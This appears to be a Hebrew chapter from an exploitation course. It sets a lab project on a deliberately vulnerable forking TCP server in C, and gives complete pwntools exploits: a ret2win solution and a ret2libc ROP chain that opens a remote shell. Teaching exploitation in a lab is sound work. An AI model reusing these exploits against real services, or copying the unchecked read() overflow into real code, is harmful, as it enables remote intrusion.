לדלג לתוכן

2.4 פרויקט ניצול שרת פגיע פרויקט

פרויקט - exploit שרת TCP vulnerable מרחוק

הגענו לפרויקט המסכם של הפרק. עד עכשיו תקפנו בינאריים מקומיים: הרצנו אותם, האכלנו להם קלט, וקיבלנו shell על אותה מכונה. עכשיו נעשה את הקפיצה שמפרידה בין תרגיל לבין תקיפה אמיתית - נתקוף שרת רשת. השרת רץ, מקשיב על פורט, מקבל חיבורים, ובכל חיבור עושה fork לתהליך ילד שמטפל בבקשה. בתוך הטיפול הזה מסתתרת buffer overflow קלאסית. המשימה שלכם: לחבר את כל מה שלמדנו בפרק - מציאת offset עם cyclic, שליטה ב-RIP, ו-ret2win - לכדי exploit אחד ומלא שנכתב ב-pwntools, מתחבר ברשת, ומחזיר לכם shell אינטראקטיבי על השרת המרוחק.

זה בדיוק הצורה של מלא אתגרי pwn אמיתיים (וגם של רוב אתגרי ה-pwn ב-CTF): שירות שמאזין על פורט, ואתם מנצלים אותו מרחוק בלי גישה מקומית לזיכרון של התהליך. בואו נבנה את זה צעד צעד.

מה בונים ומה המטרה

תקבלו קוד מקור של שרת קטן בשפת C. תקמפלו אותו, תריצו אותו על מכונת התרגול שלכם (או ב-container), ותתקפו אותו דרך הסוקט. הקריטריון להצלחה הוא פשוט וחד משמעי:

$ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Switching to interactive mode
[*] backdoor triggered - spawning shell
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /flag
CTF{r3m0t3_r3t2w1n_0v3r_a_f0rk1ng_s0ck3t}

כלומר: להריץ פקודות על השרת המרוחק, דרך shell אינטראקטיבי שרץ על החיבור שלכם.

הנחות הגנה - protections

לפני שתוקפים חייבים לדעת נגד מה עומדים. את השרת נקמפל בצורה הבאה, וזה מגדיר את כללי המשחק:

  • מנגנון NX מופעל (ברירת המחדל). המחסנית לא ניתנת להרצה, ולכן הזרקת shellcode ישירות למחסנית לא תעבוד. אבל לא צריך אותה - יש בבינארי פונקציית win.
  • קנרי - canary כבוי (מקמפלים עם -fno-stack-protector). בלי canary הoverflow מגיעה עד הreturn address בלי שום בדיקה באמצע.
  • מנגנון PIE כבוי (מקמפלים עם -no-pie). הבינארי נטען בכתובת קבועה (0x400000), ולכן הכתובת של הפונקציה win קבועה בין הרצות. זו הסיבה שאפשר לעשות ret2win בלי שום leak כתובת.
  • מנגנון ASLR של המערכת יכול להיות דלוק - זה לא משנה לנו. ASLR מערבב את כתובות המחסנית, ה-heap וה-libc, אבל מכיוון שהבינארי הוא no-pie, כתובת ה-.text (וגם win) נשארת קבועה. אנחנו קופצים לכתובת קבועה בקוד, אז ASLR פשוט לא רלוונטי למסלול העיקרי.
  • מנגנון RELRO במצב Partial (ברירת מחדל). לא נוגע לנו בפרויקט הזה.

שימו לב לתמונה: יש לנו overflow נקייה בלי canary, כתובות קוד קבועות, ופונקציה מוכנה שפותחת shell. זה תרחיש ret2win אידיאלי. מנגנוני ה-NX וה-ASLR קיימים, אבל אף אחד מהם לא עומד בדרך של קפיצה לכתובת קבועה בקוד.

קוד המקור של השרת - vulnerable server

הנה השרת המלא. שמרו אותו כ-vuln_server.c:

// vuln_server.c - forking TCP server with a classic buffer overflow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/wait.h>

#define PORT 1337

// the backdoor function. There's no call to it from the regular code flow -
// it exists only so you can jump to it via the overflow.
void win(void) {
    puts("[*] backdoor triggered - spawning shell");
    fflush(stdout);
    system("/bin/sh");
    _exit(0);
}

void handle_client(int fd) {
    char buf[64];

    // redirect the child's stdin/stdout/stderr into the socket,
    // so that system("/bin/sh") gets our connection as input/output.
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);

    puts("=== vuln service v0.1 ===");
    puts("send your request:");
    fflush(stdout);

    // here's the vulnerability: read reads up to 1024 bytes into a 64-byte buffer.
    read(0, buf, 1024);

    printf("you said: %s\n", buf);
    fflush(stdout);
}

int main(void) {
    signal(SIGCHLD, SIG_IGN);  // prevents zombie processes when a child finishes

    int srv = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = INADDR_ANY;
    addr.sin_port = htons(PORT);

    if (bind(srv, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("bind");
        exit(1);
    }
    listen(srv, 16);
    printf("[*] listening on port %d\n", PORT);
    fflush(stdout);

    while (1) {
        int cli = accept(srv, NULL, NULL);
        if (cli < 0)
            continue;

        pid_t pid = fork();
        if (pid == 0) {         // child process
            close(srv);
            handle_client(cli);
            close(cli);
            _exit(0);
        }
        close(cli);             // the parent keeps listening
    }
}

הקומפילציה, בדיוק עם ההגנות שהגדרנו למעלה:

gcc -fno-stack-protector -no-pie -O0 -g -o vuln_server vuln_server.c

וההרצה:

./vuln_server
# [*] listening on port 1337

עכשיו אפשר להתחבר אליו בכלי פשוט כדי לראות שהוא חי:

nc 127.0.0.1 1337
# === vuln service v0.1 ===
# send your request:
hello
# you said: hello

אימות ההגנות - checksec

לפני שכותבים שורת exploit אחת, מריצים checksec ומוודאים שהשדה תואם למה שציפינו:

checksec --file=./vuln_server

פלט צפוי:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

בדיוק כמו שתכננו: אין canary, אין PIE. עכשיו נמצא את הכתובת של win. מכיוון שהבינארי לא stripped וגם no-pie, זה טריוויאלי:

objdump -d vuln_server | grep '<win>:'
# 0000000000401196 <win>:

או ישירות מתוך pwntools, וזו הדרך שנשתמש בה בקוד:

from pwn import *
elf = ELF('./vuln_server')
print(hex(elf.symbols['win']))   # 0x401196

דרישות הפרויקט - requirements

ה-exploit הסופי שתגישו חייב:

  • להתחבר לשרת דרך remote(host, port) (לא דרך process).
  • למצוא את ה-offset המדויק עד הreturn address בעזרת cyclic ולא בניחוש.
  • לחשב את כתובת היעד (win) אוטומטית מתוך אובייקט ה-ELF, לא כמספר קבוע מודבק בקוד.
  • לטפל בבעיית הalignment של המחסנית (movaps) אם היא צצה.
  • לפתוח shell אינטראקטיבי אמיתי דרך הסוקט ולהריץ בו פקודות (p.interactive()).
  • לרוץ בצורה עקבית: להריץ אותו חמש פעמים ברצף ולקבל shell בכל פעם.

אבני דרך - milestones

אל תנסו לכתוב את ה-exploit המלא במכה אחת. תעברו דרך שלוש אבני דרך, ותוודאו שכל אחת עובדת לפני שממשיכים.

אבן דרך 1 - קריסה - crash

המטרה הראשונה היא פשוט להפיל את הילד. תשלחו יותר מ-72 בתים ותוודאו שהתהליך שמטפל בכם קורס.

כאן נכנס האתגר הראשון של שרת forking: הקריסה קורית בתהליך הילד, לא בהורה. ההורה ממשיך להאזין כאילו כלום, אז מבחוץ פשוט תראו שהחיבור נסגר. כדי לראות את הקריסה בעיניים, מריצים את השרת תחת gdb ומורים לו לעקוב אחרי הילד:

gdb ./vuln_server
pwndbg> set follow-fork-mode child
pwndbg> run

עכשיו, בטרמינל שני, שולחים קלט ארוך:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)" | nc 127.0.0.1 1337

ב-gdb תראו שהילד קיבל SIGSEGV, וש-RIP מלא ב-0x4141414141414141. זהו - שולטים בזרימת הריצה. אם ה-RIP הוא בדיוק 0x4141..., סימן שהoverflow עברה את saved rbp והגיעה לreturn address.

high addresses
+---------------------------+
| return address              |  <-- overwritten. after ret, RIP = what we wrote
+---------------------------+
| saved rbp                 |  <-- overwritten
+---------------------------+
| char buf[64]              |  <-- input from read starts here
+---------------------------+
low addresses

אבן דרך 2 - שליטה ב-RIP והמצאת ה-offset

עכשיו נמצא את ה-offset המדויק. במקום 200 בתים זהים, נשלח דפוס cyclic - רצף ייחודי שבו כל תת-מחרוזת של 8 בתים מופיעה פעם אחת בלבד:

from pwn import *
print(cyclic(200))
# aaaaaaaabaaaaaaacaaaaaaadaaaaaaa...

מריצים שוב את השרת תחת gdb עם set follow-fork-mode child, שולחים את הדפוס, ובודקים מה נכנס ל-RIP בזמן הקריסה:

pwndbg> set follow-fork-mode child
pwndbg> run
# ... send cyclic(200) from the second terminal ...
Program received signal SIGSEGV
RIP  0x6161617461616173

לוקחים את הערך של RIP ומתרגמים אותו ל-offset:

>>> from pwn import *
>>> cyclic_find(0x6161617461616173)
72

קיבלנו 72. זה הגיוני: 64 בתים של הbuffer ועוד 8 בתים של saved rbp. אבל שימו לב - הקומפיילר עלול להוסיף padding או להזיז את המשתנים, אז אף פעם אל תנחשו את המספר הזה. תמיד תסמכו על מה ש-cyclic_find מחזיר בבנייה שלכם.

אבן דרך 3 - קבלת shell - ret2win

עכשיו יש לנו הכול: offset של 72 וכתובת קבועה של win. ה-payload הבסיסי הוא:

[ 72 fill bytes ] + [ address of win (8 bytes) ]

אבל יש כאן מלכודת קלאסית ששווה זהב, וכמעט כולם נתקעים בה בפעם הראשונה: יישור המחסנית - stack alignment. הפונקציה win קוראת ל-system, ובתוך system של glibc יש הוראת movaps שדורשת ש-RSP יהיה מיושר ל-16 בתים. כשקופצים ל-win ישירות דרך ret, ה-RSP יוצא לא מיושר, ולעיתים קרובות מקבלים SIGSEGV בתוך do_system על ה-movaps - עוד לפני שה-shell נפתח.

הפתרון פשוט ואלגנטי: מוסיפים גאדג'ט ret בודד לפני הכתובת של win. ה-ret הנוסף "בולע" 8 בתים מהמחסנית והופך את הalignment. בפועל ה-payload נראה כך:

[ 72 fill bytes ] + [ address of gadget: ret ] + [ address of win ]

מוצאים גאדג'ט ret בקלות:

ROPgadget --binary vuln_server --only "ret" | head

או, וזו הדרך שנשתמש בה, נותנים ל-pwntools למצוא אותו לבד עם ROP(elf). ברגע שה-payload מוכן, שולחים אותו, ומעבירים את החיבור למצב אינטראקטיבי עם p.interactive(). מכיוון שהשרת עשה dup2 של הסוקט ל-stdin/stdout/stderr של הילד, ה-shell שנפתח ב-system("/bin/sh") יורש את הסוקט שלכם, ואתם מקבלים shell אמיתי על החיבור.

שלד ה-exploit - starting skeleton

הנה נקודת פתיחה. השלימו את מה שמסומן ב-TODO:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln_server')
context.log_level = 'info'

HOST, PORT = '127.0.0.1', 1337

def start():
    # connect to the remote server. During development you can run
    # vuln_server locally and connect to 127.0.0.1.
    return remote(HOST, PORT)

def main():
    io = start()

    # milestone 2: find the offset once in gdb with cyclic,
    # and hard-code it here.
    offset = 0   # TODO: replace with the value from cyclic_find

    win = elf.symbols['win']

    # milestone 3: ret gadget to align the stack before win.
    rop = ROP(elf)
    ret = rop.find_gadget(['ret'])[0]

    payload  = b'A' * offset
    payload += p64(ret)     # TODO: add the ret only if alignment is needed
    payload += p64(win)

    # read the banner before sending (optional, for clean output)
    io.recvuntil(b'send your request:')

    io.send(payload)
    io.interactive()

if __name__ == '__main__':
    main()

תבנו את ה-exploit בהדרגה: קודם רק המילוי כדי לאשר קריסה, אחר כך המילוי הנכון עם ה-offset, ולבסוף היעד עם הalignment.

מלכודות נפוצות - common pitfalls

  • הפורק לא מגריל כתובות מחדש. כשההורה עושה fork, הילד יורש את מפת הזיכרון של ההורה בדיוק כמו שהיא - אותו ASLR base. כלומר גם אם היה כאן PIE, כתובת שדלפתם מחיבור אחד תישאר תקפה בחיבורים הבאים, כל עוד השרת לא הופעל מחדש. זו תובנה ענקית לexploit שרתי fork, ונחזור אליה במטרות המתיחה.
  • הalignment movaps. אם ה-exploit מפיל את הילד במקום לפתוח shell, הסתכלו איפה נפל. אם הקריסה היא בתוך do_system על movaps, חסר לכם גאדג'ט ret לalignment. הוסיפו אותו.
  • הבתים של read מול newline. הפונקציה read לא עוצרת ב-newline והיא לא מוסיפה \0. השתמשו ב-io.send (בלי newline) כדי לשלוט בדיוק במספר הבתים, ולא ב-sendline שמוסיף \n ומזיז את הalignment.
  • באפרינג של הפלט. אם לא רואים את הבאנר, זכרו שהשרת עושה fflush אחרי כל הדפסה. אם הוספתם הדפסות משלכם לשרת, אל תשכחו לרוקן את הבאפר, אחרת pwntools יחכה לקלט שלא מגיע.
  • קריאה של הבאנר. אם recvuntil תקוע, הורידו אותו זמנית - הוא רק לניקיון פלט, לא הכרחי לexploit.

מטרות מתיחה - stretch goals

השלמתם את המסלול הבסיסי? הנה איך לוקחים את הפרויקט לרמה של מחקר אמיתי.

מטרה 1 - אמינות בין הפעלות מחדש. הריצו את ה-exploit חמש פעמים ברצף, ואז הפעילו את השרת מחדש (Ctrl+C והרצה חוזרת) והריצו שוב. מכיוון שהבינארי no-pie, כתובת win קבועה גם בין הפעלות, אז ה-exploit אמור לעבוד 100% מהפעמים. עטפו אותו בלולאה שמוודאת שקיבלתם shell (למשל שולחים echo PWNED ומחפשים את המחרוזת בפלט) ומדווחת שיעור הצלחה.

מטרה 2 - הוספת PIE וleak שנשמרת בין fork-ים. קמפלו מחדש בלי -no-pie (כלומר עם PIE דלוק). עכשיו הכתובת של win אקראית וה-ret2win הפשוט מת. הוסיפו לשרת חולשת leak קטנה (למשל הדפסה שמדליפה כתובת מהמחסנית, או שינוי ה-printf("you said: %s", buf) כך שתדליף מצביע), דלפו את הבסיס בחיבור אחד, וחשבו את הכתובת של win. הטריק: בגלל שהפורק לא מגריל מחדש, אתם יכולים לדלוף בחיבור אחד ולתקוף בחיבור נפרד עם אותה כתובת בדיוק. זה הבדל מהותי משרת שעושה execve בכל ילד (שם ההגרלה מתבצעת מחדש וצריך לדלוף ולתקוף באותו החיבור).

מטרה 3 - חלופת ROP בלי פונקציית win. מחקו את win מהמקור, קמפלו מחדש (no-pie, NX דלוק), ותקפו בלי הבקדור. עכשיו צריך ret2libc: מדליפים את כתובת puts מתוך ה-GOT בעזרת קריאה ל-puts@plt עם puts@got כארגומנט, מחשבים את בסיס ה-libc, ובונים chain שקוראת ל-system("/bin/sh"). כאן נכנס הטריק היפה של שרת ה-fork: מכיוון שהילדים לא מגרילים כתובות מחדש, אפשר להפריד את זה לשני חיבורים - בחיבור הראשון מדליפים את בסיס ה-libc, ובחיבור השני (עם אותו בסיס בדיוק) מריצים את system. זו הצצה קדימה לפרק 4, אבל כל הכלים כבר בידיים שלכם. שלד:

from pwn import *

context.binary = elf = ELF('./vuln_server')
libc = ELF('./libc.so.6')   # the same libc the server runs against
HOST, PORT = '127.0.0.1', 1337
OFFSET = 72

# connection 1: leak the address of puts and compute the libc base
io = remote(HOST, PORT)
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0])   # stack alignment
rop.puts(elf.got['puts'])              # puts(puts@got) - prints a real address
io.recvuntil(b'send your request:')
io.send(b'A' * OFFSET + rop.chain())
io.recvline()                          # "you said: ..."
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')
io.close()

# connection 2: the base is valid here too since fork didn't re-randomize
io = remote(HOST, PORT)
rop2 = ROP(libc)
rop2.raw(rop2.find_gadget(['ret'])[0])
rop2.system(next(libc.search(b'/bin/sh\x00')))
io.recvuntil(b'send your request:')
io.send(b'A' * OFFSET + rop2.chain())
io.interactive()

שימו לב שהחלופה הזו כבר תלויה ב-ASLR של ה-libc, ולכן הופכת רלוונטית רק כשאין לנו כתובת קבועה לקפוץ אליה. זה בדיוק המעבר מ-ret2win ל-ROP אמיתי שנעשה בפרק הבא.

פתרון ייחוס - reference exploit

אחרי שהתמודדתם לבד, הנה exploit מלא ורץ למסלול הבסיסי (no-pie, יש win). השתמשו בו כדי להשוות לעצמכם, לא כדי לדלג על העבודה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln_server')
context.log_level = 'info'

HOST, PORT = '127.0.0.1', 1337

# the offset was found once locally with cyclic + cyclic_find under gdb
# (set follow-fork-mode child). In this build it came out to 72.
OFFSET = 72

io  = remote(HOST, PORT)

rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]     # for stack alignment before system
win = elf.symbols['win']

payload  = b'A' * OFFSET
payload += p64(ret)
payload += p64(win)

io.recvuntil(b'send your request:')
io.send(payload)

io.interactive()

הרצה מוצלחת:

$ python3 exploit.py
[*] '/home/ctf/vuln_server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] Loaded 14 cached gadgets for './vuln_server'
[*] Switching to interactive mode
[*] backdoor triggered - spawning shell
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ hostname
vuln-box

קריטריוני הצלחה והגשה

מה שצריך להראות בסוף:

  • המסלול הבסיסי - exploit שמתחבר ב-remote, שולח את ה-payload, ומחזיר shell אינטראקטיבי שבו הרצתם לפחות שתי פקודות (id ו-cat /flag).
  • הוכחת ה-offset - צילום מסך או פלט של gdb שמראה את הקריסה עם דפוס cyclic, ואת ה-cyclic_find שהחזיר את ה-offset.
  • הסבר הalignment - משפט או שניים שמסבירים למה נדרש גאדג'ט ה-ret הנוסף (הצביעו על ה-movaps ב-system).
  • אמינות - הרצה של ה-exploit חמש פעמים ברצף עם shell בכל פעם.

הגישו את קוד ה-C של השרת (אם שיניתם אותו), את סקריפט ה-exploit, ותיעוד קצר של התהליך: מה ניסיתם, איפה נתקעתם, ואיך פתרתם. אם ניגשתם לאחת ממטרות המתיחה - צרפו גם אותה עם הסבר.

בהצלחה. זו הפעם הראשונה שאתם תוקפים משהו שנראה כמו שירות אמיתי מרחוק, וזה בדיוק הכיוון שאליו הקורס הולך.